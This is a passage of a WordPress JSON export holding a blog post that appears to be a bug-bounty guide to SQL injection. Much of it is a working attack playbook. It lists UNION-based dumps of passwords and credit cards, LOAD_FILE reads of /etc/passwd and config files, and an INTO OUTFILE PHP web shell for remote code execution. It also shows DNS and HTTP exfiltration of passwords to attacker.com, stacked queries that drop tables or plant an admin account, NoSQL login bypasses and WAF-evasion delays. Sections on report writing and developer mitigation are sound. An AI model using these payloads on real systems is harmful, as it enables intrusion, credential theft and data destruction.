casing.<br \/> <strong>Alternative syntax<\/strong> \u2192 Use brackets, backticks, or no quotes.<br \/> <strong>Time delays<\/strong> \u2192 Heavy queries or WAITFOR DELAY can sneak past.<br \/> <strong>Parameter pollution &amp; encoding<\/strong> \u2192 Confuse the WAF with duplicates or weird chars.<\/p>\n<p><strong>WAFs are annoying, but not unbeatable.<\/strong> With these tricks, you can <strong>keep exploiting SQLi even on \u201cprotected\u201d sites<\/strong>. <\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Exploitation &amp; Data Exfiltration \u2013 Turning SQLi into Real Hacks<\/strong><\/h2>\n<p>So you\u2019ve found a SQL injection vulnerability\u2014<strong>now what?<\/strong> Time to turn that bug into <strong>stolen data, admin access, or even full system control<\/strong>.<\/p>\n<p>This is where the <strong>real fun begins<\/strong> for bug hunters. Let\u2019s break down how to <strong>exploit SQLi like a pro<\/strong> and exfiltrate data efficiently.<\/p>\n<h3 class=\"wp-block-heading\"><strong>7.1 Extracting Database Schema (Tables &amp; Columns)<\/strong><\/h3>\n<p>Before stealing data, you need to <strong>map the database structure<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 1: List All Databases<\/strong><\/h3>\n<p>&#8216; UNION SELECT schema_name, NULL FROM information_schema.schemata &#8212;<\/p>\n<p><em>(Returns all database names on the server.)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 2: Dump Tables from a Database<\/strong><\/h3>\n<p>&#8216; UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = &#8216;public&#8217; &#8212;<\/p>\n<p><em>(Lists all tables in the public schema.)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 3: Get Columns from a Table<\/strong><\/h3>\n<p>&#8216; UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = &#8216;users&#8217; &#8212;<\/p>\n<p><em>(Shows all columns in the users table.)<\/em><\/p>\n<p><strong>Why this matters:<\/strong><\/p>\n<p>You can\u2019t steal data if you don\u2019t know <strong>where it\u2019s stored<\/strong>.<\/p>\n<p>Works on <strong>MySQL, PostgreSQL, MSSQL, Oracle<\/strong> (with slight syntax tweaks).<\/p>\n<h3 class=\"wp-block-heading\"><strong>7.2 Dumping Sensitive Data (Usernames, Passwords, PII)<\/strong><\/h3>\n<p>Now, <strong>let\u2019s steal the good stuff<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example: Stealing User Credentials<\/strong><\/h3>\n<p>&#8216; UNION SELECT username, password FROM users &#8212;<\/p>\n<p><em>(Dumps logins in username:password format.)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Targeting Specific Users (Like Admins)<\/strong><\/h3>\n<p>&#8216; UNION SELECT username, password FROM users WHERE username = &#8216;admin&#8217; &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>Grabbing Credit Cards, Emails, or Other PII<\/strong><\/h3>\n<p>&#8216; UNION SELECT email, credit_card FROM customers &#8212;<\/p>\n<p><strong>Pro Tip:<\/strong><\/p>\n<p>If passwords are <strong>hashed<\/strong>, check for weak algorithms (MD5, SHA1).<\/p>\n<p>Some apps store <strong>plaintext passwords<\/strong> (yikes!).<\/p>\n<h3 class=\"wp-block-heading\"><strong>7.3 Reading Local Files (MySQL\u2019s LOAD_FILE)<\/strong><\/h3>\n<p>If the database user has <strong>file-read privileges<\/strong>, you can <strong>leak server files<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example: Reading \/etc\/passwd (Linux)<\/strong><\/h3>\n<p>&#8216; UNION SELECT LOAD_FILE(&#8216;\/etc\/passwd&#8217;), NULL &#8212;<\/p>\n<p><em>(Shows system users\u2014useful for further attacks.)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Stealing Config Files (Database Creds, API Keys)<\/strong><\/h3>\n<p>&#8216; UNION SELECT LOAD_FILE(&#8216;\/var\/www\/html\/config.php&#8217;), NULL &#8212;<\/p>\n<p><em>(Might contain passwords for other systems.)<\/em><\/p>\n<p><strong>Works on:<\/strong><\/p>\n<p>MySQL (LOAD_FILE)<\/p>\n<p>PostgreSQL (pg_read_file)<\/p>\n<p>MSSQL (OPENROWSET)<\/p>\n<h3 class=\"wp-block-heading\"><strong>7.4 Writing to Files (Gaining RCE via SQLi)<\/strong><\/h3>\n<p>If you can <strong>write files<\/strong>, you might get <strong>remote code execution (RCE)<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example: Uploading a PHP Shell (MySQL)<\/strong><\/h3>\n<p>&#8216; UNION SELECT &#8220;&lt;?php system($_GET[&#8216;cmd&#8217;]); ?&gt;&#8221;, NULL INTO OUTFILE &#8216;\/var\/www\/html\/shell.php&#8217; &#8212;<\/p>\n<p>Now, visit:<\/p>\n<p>http:\/\/victim.com\/shell.php?cmd=id<\/p>\n<p><em>(Executes OS commands!)<\/em><\/p>\n<p><strong>Requirements:<\/strong><\/p>\n<p>Database user must have <strong>file-write permissions<\/strong>.<\/p>\n<p>You need to know the <strong>web root path<\/strong> (\/var\/www\/html).<\/p>\n<p><strong>Warning:<\/strong><\/p>\n<p>This is <strong>highly aggressive<\/strong>\u2014only do it in <strong>authorized pentests<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>7.5 Advanced Exfiltration Techniques<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. DNS Exfiltration (For Blind SQLi)<\/strong><\/h3>\n<p>If the app <strong>doesn\u2019t show data<\/strong>, leak it via <strong>DNS requests<\/strong>:<\/p>\n<p>&#8216; UNION SELECT LOAD_FILE(CONCAT(&#8216;\\\\&#8217;,(SELECT password FROM users LIMIT 1),&#8217;.attacker.com\\share\\&#8217;)) &#8212;<\/p>\n<p>The password is sent as a <strong>subdomain lookup<\/strong> to your server.<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Out-of-Band (OOB) via HTTP Requests<\/strong><\/h3>\n<p>&#8216; UNION SELECT NULL,HTTPGET(&#8216;http:\/\/attacker.com\/leak?data=&#8217;||(SELECT password FROM users LIMIT 1)) &#8212;<\/p>\n<p><em>(Requires special DB functions like Oracle\u2019s UTL_HTTP.)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>First, map the database<\/strong> (schemas, tables, columns).<br \/> <strong>Dump credentials, PII, or sensitive data<\/strong> with UNION SELECT.<br \/> <strong>Read server files<\/strong> if LOAD_FILE is allowed.<br \/> <strong>Write a web shell<\/strong> for RCE (if permissions allow).<br \/> <strong>Use DNS or HTTP exfiltration<\/strong> for blind SQLi.<\/p>\n<p>Now you\u2019re not just finding SQLi\u2014<strong>you\u2019re weaponizing it<\/strong>. <\/p>\n<h2 class=\"wp-block-heading\"><strong>Reporting SQL Injection Vulnerabilities \u2013 Get Paid, Don\u2019t Get Ignored<\/strong><\/h2>\n<p>You\u2019ve found a SQLi vulnerability\u2014<strong>now what?<\/strong> If you don\u2019t report it properly, the company might <strong>ignore you, lowball your bounty, or even ban you<\/strong>.<\/p>\n<p>Let\u2019s turn your hack into <strong>cold, hard cash<\/strong> with a <strong>professional, high-impact report<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>8.1 Crafting a High-Quality Bug Report<\/strong><\/h3>\n<p>Your report should be <strong>clear, concise, and convincing<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Essential Sections:<\/strong><\/h3>\n<p><strong>Title<\/strong> (Short &amp; scary):<\/p>\n<p> <em>\u201cPossible SQL Injection\u201d<\/em><\/p>\n<p> <em>\u201cBlind SQL Injection in \/admin\/login.php (Time-Based Exploit)\u201d<\/em><\/p>\n<p><strong>Vulnerability Details<\/strong><\/p>\n<p><strong>Type:<\/strong> SQL Injection (Error-Based\/Blind\/Union)<\/p>\n<p><strong>Endpoint:<\/strong> https:\/\/example.com\/login.php<\/p>\n<p><strong>Parameter:<\/strong> username (POST)<\/p>\n<p><strong>Steps to Reproduce<\/strong> (Like a recipe):<\/p>\n<p>   1. Go to https:\/\/example.com\/login<br \/>\n   2. Enter username: `admin&#8217; AND SLEEP(5)&#8211;`<br \/>\n   3. Observe 5-second delay \u2192 SQLi confirmed  <\/p>\n<p><strong>Impact<\/strong> (Why should they care?):<\/p>\n<p><em>\u201cAllows attackers to extract sensitive data (usernames, passwords, PII) and potentially gain admin access.\u201d<\/em><\/p>\n<p><strong>Remediation<\/strong> (How to fix it):<\/p>\n<p><em>\u201cUse parameterized queries (prepared statements) instead of string concatenation.\u201d<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>8.2 Providing Proof of Concept (PoC)<\/strong><\/h3>\n<p><strong>No PoC = No bounty.<\/strong> Prove it works with:<\/p>\n<h3 class=\"wp-block-heading\"><strong>1. Video\/GIF Screen Recording<\/strong><\/h3>\n<p>Show yourself exploiting the bug (e.g., dumping DB data).<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Curl Command or HTTP Request<\/strong><\/h3>\n<p>curl -X POST &#8220;https:\/\/example.com\/login&#8221; -d &#8220;username=admin&#8217; OR 1=1&#8211;&amp;password=123&#8221;<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. Screenshots of Exploitation<\/strong><\/h3>\n<p>Database errors, dumped data, or time delays.<\/p>\n<p><strong>Pro Tip:<\/strong><\/p>\n<p>For <strong>blind SQLi<\/strong>, show a <strong>time-based delay comparison<\/strong> (normal vs. exploited).<\/p>\n<h3 class=\"wp-block-heading\"><strong>8.3 Severity Classification (CVSS Scoring)<\/strong><\/h3>\n<p>Companies use <strong>CVSS (Common Vulnerability Scoring System)<\/strong> to rank bugs.<\/p>\n<h3 class=\"wp-block-heading\"><strong>SQLi Severity Examples:<\/strong><\/h3>\n<p><strong>Severity<\/strong><strong>CVSS Score<\/strong><strong>Example Scenario<\/strong><strong>Critical<\/strong>9.0+SQLi in admin panel leading to full DB dump.<strong>High<\/strong>7.0-8.9Blind SQLi leaking user emails.<strong>Medium<\/strong>4.0-6.9Limited SQLi with low-impact data exposure.<\/p>\n<p><strong>How to Calculate CVSS:<\/strong><\/p>\n<p>Use <a href=\"https:\/\/nvd.nist.gov\/vuln-metrics\/cvss\/v3-calculator\">NVD\u2019s CVSS Calculator<\/a>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>8.4 Communicating with Security Team<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>Do\u2019s:<\/strong><\/h3>\n<p> <strong>Be professional<\/strong> (no \u201clol I hacked u\u201d messages).<br \/> <strong>Follow their disclosure policy<\/strong> (check their bug bounty program).<br \/> <strong>Respond quickly<\/strong> if they ask for more details.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Don\u2019ts:<\/strong><\/h3>\n<p> <strong>Demand payment upfront<\/strong> (they\u2019ll ghost you).<br \/> <strong>Threaten public disclosure<\/strong> (blackmail = banned).<br \/> <strong>Spam follow-ups<\/strong> (wait 7-14 days before checking in)<\/p>\n<h3 class=\"wp-block-heading\"><strong>Real-World Example Report<\/strong><\/h3>\n<p><strong>Title:<\/strong> Time-Based Blind SQL Injection in \/user\/profile (Leaks PII)<\/p>\n<p><strong>Steps to Reproduce:<\/strong><\/p>\n<p>Visit https:\/\/example.com\/user\/profile?id=1<\/p>\n<p>Inject: id=1&#8242; AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)=&#8217;a&#8217;,SLEEP(5),0)&#8211;<\/p>\n<p>Observe 5-second delay if first character = \u2018a\u2019<\/p>\n<p><strong>Impact:<\/strong><\/p>\n<p>Allows extraction of hashed passwords, emails, and other PII.<\/p>\n<p><strong>Remediation:<\/strong><\/p>\n<p>Use prepared statements: &#8220;SELECT * FROM users WHERE id = ?&#8221;<\/p>\n<p><strong>PoC:<\/strong><\/p>\n<p>[Video]() | [Screenshot]() | [Curl Command]()<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>Write a clear, detailed report<\/strong> (title, steps, impact, fix).<br \/> <strong>Include a PoC<\/strong> (video, command, or screenshots).<br \/> <strong>Rate severity properly<\/strong> (CVSS 7.0+ = better payout).<br \/> <strong>Be professional<\/strong>\u2014no threats or demands.<\/p>\n<p>Now go <strong>submit that report and get paid!<\/strong>  <\/p>\n<h2 class=\"wp-block-heading\"><strong>Mitigation &amp; Best Practices for Developers \u2013 Stop SQLi Before It Starts<\/strong><\/h2>\n<p>So you\u2019re a developer, and you <strong>never<\/strong> want your app to end up in a bug bounty report (or worse, a data breach). Here\u2019s how to <strong>prevent SQL injection<\/strong> like a pro.<\/p>\n<h3 class=\"wp-block-heading\"><strong>9.1 Parameterized Queries (Prepared Statements) \u2013 The #1 Fix<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Does:<\/strong><\/h3>\n<p>Separates <strong>SQL code<\/strong> from <strong>user input<\/strong>, making injection impossible.<\/p>\n<h3 class=\"wp-block-heading\"><strong>How to Use It:<\/strong><\/h3>\n<h4 class=\"wp-block-heading\"><strong>Python (SQLite Example)<\/strong><\/h4>\n<p># UNSAFE (SQLi vulnerable)<br \/>\nquery = &#8220;SELECT * FROM users WHERE username = &#8216;&#8221; + user_input + &#8220;&#8216;&#8221;<\/p>\n<p># SAFE (Parameterized)<br \/>\nquery = &#8220;SELECT * FROM users WHERE username = ?&#8221;<br \/>\ncursor.execute(query, (user_input,))<\/p>\n<h4 class=\"wp-block-heading\"><strong>PHP (MySQLi)<\/strong><\/h4>\n<p>\/\/ UNSAFE<br \/>\n$query = &#8220;SELECT * FROM users WHERE username = &#8216;&#8221; . $_POST[&#8216;user&#8217;] . &#8220;&#8216;&#8221;;<\/p>\n<p>\/\/ SAFE<br \/>\n$stmt = $conn-&gt;prepare(&#8220;SELECT * FROM users WHERE username = ?&#8221;);<br \/>\n$stmt-&gt;bind_param(&#8220;s&#8221;, $_POST[&#8216;user&#8217;]); \/\/ &#8220;s&#8221; = string type<br \/>\n$stmt-&gt;execute();<\/p>\n<h4 class=\"wp-block-heading\"><strong>Java (JDBC)<\/strong><\/h4>\n<p>\/\/ UNSAFE<br \/>\nString query = &#8220;SELECT * FROM users WHERE username = &#8216;&#8221; + input + &#8220;&#8216;&#8221;;<\/p>\n<p>\/\/ SAFE<br \/>\nPreparedStatement stmt = conn.prepareStatement(&#8220;SELECT * FROM users WHERE username = ?&#8221;);<br \/>\nstmt.setString(1, input); \/\/ 1 = first parameter<\/p>\n<p><strong>Why It Works:<\/strong><\/p>\n<p>User input is <strong>treated as data, not code<\/strong>.<\/p>\n<p>Even if someone injects &#8216; OR 1=1 &#8211;, it won\u2019t execute.<\/p>\n<h3 class=\"wp-block-heading\"><strong>9.2 Input Validation &amp; Sanitization \u2013 Second Line of Defense<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. Whitelist Allowed Inputs<\/strong><\/h3>\n<p><strong>For numbers:<\/strong> Ensure input is <strong>actually a number<\/strong>.<\/p>\n<p>  if not user_id.isdigit():<br \/>\n      raise ValueError(&#8220;Invalid ID&#8221;)<\/p>\n<p><strong>For strings:<\/strong> Allow only <strong>expected characters<\/strong> (e.g., alphanumeric).<\/p>\n<p>  if (!preg_match(&#8216;\/^[a-zA-Z0-9]+$\/&#8217;, $username)) {<br \/>\n      die(&#8220;Invalid username&#8221;);<br \/>\n  }<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Escape Inputs (If You Must Use Raw Queries)<\/strong><\/h3>\n<p><strong>PHP:<\/strong> mysqli_real_escape_string()<\/p>\n<p><strong>Python:<\/strong> Use DB-specific escape functions.<\/p>\n<p> <strong>Warning:<\/strong> Escaping is <strong>not enough<\/strong>\u2014use parameterized queries first!<\/p>\n<h3 class=\"wp-block-heading\"><strong>9.3 Least Privilege for Database Users \u2013 Limit the Damage<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>Key Rules:<\/strong><\/h3>\n<p><strong>Application DB user should ONLY have:<\/strong><\/p>\n<p>SELECT (for read operations)<\/p>\n<p>INSERT\/UPDATE\/DELETE (if needed) <\/p>\n<p><strong>Never grant:<\/strong><\/p>\n<p>FILE (can read\/write server files)<\/p>\n<p>DROP (can delete tables)<\/p>\n<p>GRANT (can escalate privileges)<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example (MySQL):<\/strong><\/h3>\n<p>CREATE USER &#8216;app_user&#8217;@&#8217;localhost&#8217; IDENTIFIED BY &#8216;securepassword&#8217;;<br \/>\nGRANT SELECT, INSERT ON app_db.* TO &#8216;app_user&#8217;@&#8217;localhost&#8217;;<\/p>\n<h3 class=\"wp-block-heading\"><strong>9.4 Web Application Firewalls (WAFs) \u2013 Emergency Protection<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What WAFs Do:<\/strong><\/h3>\n<p>Block common SQLi payloads (UNION SELECT, SLEEP(), etc.).<\/p>\n<p><strong>Examples:<\/strong> Cloudflare, ModSecurity, AWS WAF.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Limitations:<\/strong><\/h3>\n<p><strong>Not foolproof<\/strong> (attackers bypass them daily).<\/p>\n<p><strong>False positives\/negatives<\/strong> (can block legit traffic or miss attacks).<\/p>\n<p><strong>Best Practice:<\/strong><\/p>\n<p>Use WAFs <strong>temporarily<\/strong> while fixing the root cause (parameterized queries).<\/p>\n<h3 class=\"wp-block-heading\"><strong>9.5 Regular Security Testing \u2013 Catch Bugs Early<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. Automated Scanners<\/strong><\/h3>\n<p><a href=\"https:\/\/codelivly.com\/sqlmap-tutorial\/\"><strong>SQLmap<\/strong> <\/a>(for testing your own apps)<\/p>\n<p><strong>OWASP ZAP \/ <a href=\"https:\/\/codelivly.com\/mastering-burp-suite-a-comprehensive-guide-to-web-application-security\/\">Burp Suite<\/a><\/strong> (for manual + automated checks)<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Code Reviews<\/strong><\/h3>\n<p><strong>Check for:<\/strong><\/p>\n<p>String concatenation in SQL (&#8220;SELECT * FROM &#8221; + table)<\/p>\n<p>Raw queries without sanitization<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. Penetration Testing<\/strong><\/h3>\n<p>Hire ethical hackers to <strong>test your app before attackers do<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways for Developers<\/strong><\/h3>\n<p> <strong>Use parameterized queries<\/strong> (prepared statements) \u2013 <strong>the #1 fix<\/strong>.<br \/> <strong>Validate &amp; sanitize inputs<\/strong> (but don\u2019t rely on this alone).<br \/> <strong>Restrict DB user permissions<\/strong> (least privilege principle).<br \/> <strong>Deploy a WAF<\/strong> as a temporary shield (not a permanent solution).<br \/> <strong>Test regularly<\/strong> (scanners, code reviews, pentests).<\/p>\n<p><strong>SQLi is 100% preventable\u2014if you code defensively.<\/strong> <\/p>\n<h2 class=\"wp-block-heading\"><strong>Advanced SQL Injection Techniques \u2013 Next-Level Exploitation<\/strong><\/h2>\n<p>You\u2019ve mastered the basics\u2014<strong>now let\u2019s level up<\/strong>. These advanced SQLi techniques help you bypass tougher defenses, exploit niche scenarios, and escalate attacks further.<\/p>\n<h3 class=\"wp-block-heading\"><strong>10.1 Stacked Queries (Multiple Statements in One Shot)<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Is:<\/strong><\/h3>\n<p>Executes <strong>multiple SQL queries<\/strong> in a single input (e.g., SELECT * FROM users; DROP TABLE logs&#8211;).<\/p>\n<h3 class=\"wp-block-heading\"><strong>Where It Works:<\/strong><\/h3>\n<p><strong>MSSQL<\/strong> (; supported by default).<\/p>\n<p><strong>MySQL<\/strong> (if mysqli_multi_query() is used).<\/p>\n<p><strong>PostgreSQL<\/strong> (sometimes).<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example Attack:<\/strong><\/h3>\n<p>&#8216;; DROP TABLE users; &#8212;<\/p>\n<p><em>(Deletes the entire users table\u2014dangerous!)<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>Real-World Use Cases:<\/strong><\/h3>\n<p><strong>Bypassing login pages:<\/strong><\/p>\n<p>  &#8216;; INSERT INTO admins (user, pass) VALUES (&#8216;hacker&#8217;, &#8216;pwned&#8217;); &#8212;<\/p>\n<p><strong>Blind data exfiltration via DNS:<\/strong><\/p>\n<p>  &#8216;; DECLARE @data VARCHAR(1024); SET @data=(SELECT password FROM users); EXEC(&#8216;master..xp_dirtree &#8220;\\&#8217;+@data+&#8217;.attacker.comshare&#8221;&#8216;); &#8212;<\/p>\n<p><strong> Warning:<\/strong><\/p>\n<p>Stacked queries are <strong>often blocked<\/strong> by WAFs.<\/p>\n<p>Works only if the app <strong>allows batch execution<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>10.2 DNS Exfiltration for Blind SQLi (Stealthy Data Theft)<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>When to Use It:<\/strong><\/h3>\n<p>The app <strong>doesn\u2019t show errors or data<\/strong> (blind SQLi).<\/p>\n<p>You need to <strong>leak data silently<\/strong> (avoid WAF detection).<\/p>\n<h3 class=\"wp-block-heading\"><strong>How It Works:<\/strong><\/h3>\n<p>Force the database to <strong>make a DNS lookup<\/strong> to your server.<\/p>\n<p>Embed stolen data in the <strong>subdomain<\/strong>.<\/p>\n<p>Check your DNS logs\u2014<strong>data is leaked!<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>Example (Microsoft SQL Server):<\/strong><\/h3>\n<p>&#8216;; DECLARE @data VARCHAR(100); SET @data=(SELECT password FROM users WHERE username=&#8217;admin&#8217;); EXEC(&#8216;master..xp_dirtree &#8220;\\&#8217;+@data+&#8217;.attacker.comshare&#8221;&#8216;); &#8212;<\/p>\n<p>If the admin\u2019s password is S3cr3t!, your DNS server gets a request for:<\/p>\n<p>  S3cr3t!.attacker.com<\/p>\n<h3 class=\"wp-block-heading\"><strong>Supported Databases:<\/strong><\/h3>\n<p>DatabaseMethod<strong>MSSQL<\/strong>xp_dirtree, xp_fileexist<strong>Oracle<\/strong>UTL_HTTP, UTL_INADDR<strong>MySQL<\/strong>LOAD_FILE() (requires file privileges)<strong>PostgreSQL<\/strong>COPY TO PROGRAM (rare)<\/p>\n<p><strong>Pros:<\/strong><br \/> <strong>Bypasses most WAFs<\/strong> (DNS traffic looks harmless).<br \/> <strong>Works in fully blind scenarios<\/strong>.<\/p>\n<p><strong>Cons:<\/strong><br \/> <strong>Requires DNS callback setup<\/strong> (use Burp Collaborator or interact.sh).<\/p>\n<h3 class=\"wp-block-heading\"><strong>10.3 Exploiting NoSQL Injection (MongoDB, Firebase, etc.)<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What\u2019s Different?<\/strong><\/h3>\n<p>NoSQL databases (MongoDB, CouchDB) use <strong>JSON-like queries<\/strong>, not SQL.<\/p>\n<p>Classic &#8216; OR 1=1 won\u2019t work\u2014but <strong>logic manipulation<\/strong> does.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example (MongoDB Injection):<\/strong><\/h3>\n<p><strong>Normal Query:<\/strong><\/p>\n<p>db.users.find({user: &#8220;admin&#8221;, pass: &#8220;123&#8221;})<\/p>\n<p><strong>Injected Query (Bypass Login):<\/strong><\/p>\n<p>{&#8220;user&#8221;: &#8220;admin&#8221;, &#8220;pass&#8221;: {&#8220;$ne&#8221;: &#8220;&#8221;}}<\/p>\n<p>Translates to: <em>\u201cFind user admin where password is not empty\u201d<\/em> \u2192 <strong>logs in!<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>Other NoSQL Payloads:<\/strong><\/h3>\n<p><strong>Extract data:<\/strong><\/p>\n<p>  {&#8220;user&#8221;: {&#8220;$regex&#8221;: &#8220;.*&#8221;}, &#8220;pass&#8221;: {&#8220;$ne&#8221;: &#8220;&#8221;}}<\/p>\n<p><strong>Boolean-based exfiltration:<\/strong><\/p>\n<p>  {&#8220;user&#8221;: &#8220;admin&#8221;, &#8220;pass&#8221;: {&#8220;$gt&#8221;: &#8220;&#8221;}}  # True if pass exists<\/p>\n<p><strong>Tools to Exploit NoSQLi:<\/strong><\/p>\n<p><strong>NoSQLmap<\/strong> (automates exploitation)<\/p>\n<p><strong>Burp Suite<\/strong> (manual testing)<\/p>\n<h3 class=\"wp-block-heading\"><strong>10.4 Second-Order SQLi (The Silent Killer)<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Is:<\/strong><\/h3>\n<p>Your input is <strong>stored<\/strong> and used later in an <strong>unsafe query<\/strong>.<\/p>\n<p>Harder to detect because <strong>exploitation is delayed<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example Attack:<\/strong><\/h3>\n<p><strong>Sign up<\/strong> with username: admin&#8217; &#8212;<\/p>\n<p>Later, the app runs:<\/p>\n<p>   UPDATE users SET last_login=NOW() WHERE username=&#8217;admin&#8217; &#8211;&#8216;<\/p>\n<p><strong>Result:<\/strong> All users get updated because &#8212; comments out the rest!<\/p>\n<h3 class=\"wp-block-heading\"><strong>Where to Find It:<\/strong><\/h3>\n<p><strong>Profile updates<\/strong><\/p>\n<p><strong>Password reset functions<\/strong><\/p>\n<p><strong>Comment systems<\/strong><\/p>\n<p><strong>How to Test:<\/strong><\/p>\n<p>Submit <strong>malicious inputs<\/strong>, then <strong>trigger secondary actions<\/strong> (e.g., profile edits).<\/p>\n<h3 class=\"wp-block-heading\"><strong>10.5 Time-Based Bypass for Heavy WAFs<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>When All Else Fails:<\/strong><\/h3>\n<p>If a WAF blocks SLEEP(), try <strong>heavy queries<\/strong> to cause delays.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Example (MySQL):<\/strong><\/h3>\n<p>&#8216; AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B) &#8212;<\/p>\n<p>Joins <strong>huge tables<\/strong> \u2192 slows down the response.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Alternative Delays:<\/strong><\/h3>\n<p><strong>Hash collisions<\/strong> (CPU-intensive):<\/p>\n<p>  &#8216; AND MD5(CONCAT(REPEAT(&#8216;a&#8217;,1000000),RAND())) LIKE &#8216;0%&#8217; &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>Stacked queries<\/strong> \u2192 Execute multiple commands (MSSQL\/MySQL).<br \/> <strong>DNS exfiltration<\/strong> \u2192 Steal data silently in blind SQLi.<br \/> <strong>NoSQLi<\/strong> \u2192 Bypass auth with $ne, $gt, $regex.<br \/> <strong>Second-order SQLi<\/strong> \u2192 Poison the DB for future attacks.<br \/> <strong>Time-based bypasses<\/strong> \u2192 Heavy queries instead of SLEEP().<\/p>\n<p><strong>These techniques separate script kiddies from pros.<\/strong> Use them wisely!<\/p>\n<p>SQL injection is a\u00a0<strong>classic vulnerability<\/strong>, but it\u2019s far from dead. The best hunters\u00a0<strong>adapt, innovate, and stay curious<\/strong>.<\/p>\n<p>Now go out there,\u00a0<strong>find those bugs<\/strong>, and\u00a0<strong>get paid<\/strong>! <\/p>","protected":false},"excerpt":{"rendered":"<p>Picture this: You\u2019re testing a website, and with a simple tweak to a login form\u2014BAM!\u2014you trick the database into spilling its secrets. No password? No problem. That\u2019s the power of SQL Injection (SQLi), one of the most dangerous (and profitable) vulnerabilities in web security. Despite being around for decades, SQLi remains a goldmine for bug [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":3388,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3387","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3387"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3387"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3387\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/3388"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}